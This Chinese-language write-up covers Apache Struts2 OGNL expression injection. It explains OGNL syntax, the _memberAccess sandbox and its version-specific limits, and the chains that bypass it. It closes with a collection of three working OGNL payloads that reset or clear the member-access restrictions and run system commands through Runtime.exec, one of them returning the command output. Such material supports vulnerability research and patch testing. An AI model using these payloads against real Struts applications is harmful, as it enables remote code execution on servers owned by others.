OGNL 表达式
- 常量:
- 字符串:“ hello ”
- 字符:‘ h ’
- 数字:除了 java 的内置类型
int,long,float和double,Ognl。还有如例:- 10.01B,相当于
java.math.BigDecimal,使用’ b ’或者’ B ’后缀。 - 100000H,相当于
java.math.BigInteger,使用’ h ’ 或 ’ H ’ 后缀
- 10.01B,相当于
- 属性的引用 例如:
user.name - 变量的引用 例如:
#name - 静态变量的访问 使用
@class@field - 静态方法的调用 使用
@class@method(args), 如果没有指定 class 那么默认就使用java.lang.Math. - 构造函数的调用 例如:
new java.util.ArrayList();
其它的 Ognl 的表达式可以参考 Ognl 的语言手册。
0x01 限制点
访问权限控制在于
_memberAccess- 低版本为
DefaultMemberAcces - 高版本为
SecurityMemberAccess继承上者,并在excludedxxxx中对敏感类进行限制
- 低版本为
关键字都存在RESERVED_KEYS中
- v2.3.30-v2.5.10 在
RESERVED_KEYS中未添加_memberAccess,导致后者不能直接覆盖

- v2.3.30-v2.5.10 在
关键字
context- v2.3.34删除此关键字,导致不能直接获取
context
- v2.3.34删除此关键字,导致不能直接获取
0x02 Bypass
将
com.opensymphony.xwork2.ognl.SecurityMemberAccess覆盖为ognl.DefaultMemberAccess适用 2.3.20~2.3.29
_memberAccess不在RESERVED_KEYS中,不能直接覆盖,上述payload会将#_memberAccess当做普通变量存进_value中。OgnlUtil.createDefaultContext会赋值_memberAccess属性

OgnlUtil.getExcludedxxxx()可以获得私有属性

通过com.opensymphony.xwork2.inject.ContainerImpl.getInstance可将context中的变量实例化
ContainerImpl通过注入实现container
攻击链:
#context获取container->调用getInstance->实例化OgnlUtil->清空excludedxxx(这步经测试可选,是我版本问题?)->设置_memberAccess->攻击payload
context被删除
ognl信息其实都是存储在值栈中,找到调用值栈的地方,寻找相同的引用地址即可
- 可以从
request['struts.valueStack']中获取com.opensymphony.xwork2.ognl.OgnlValueStack.context
- 可以从
Payload 集合
需要回显就加IO,$还是%开头均可
_memberAccess覆盖
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd=@java.lang.Runtime@getRuntime().exec("id"))}_memberAccess清空覆盖
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@java.lang.Runtime@getRuntime().exec('id'))}context删除
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#cmd=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream())}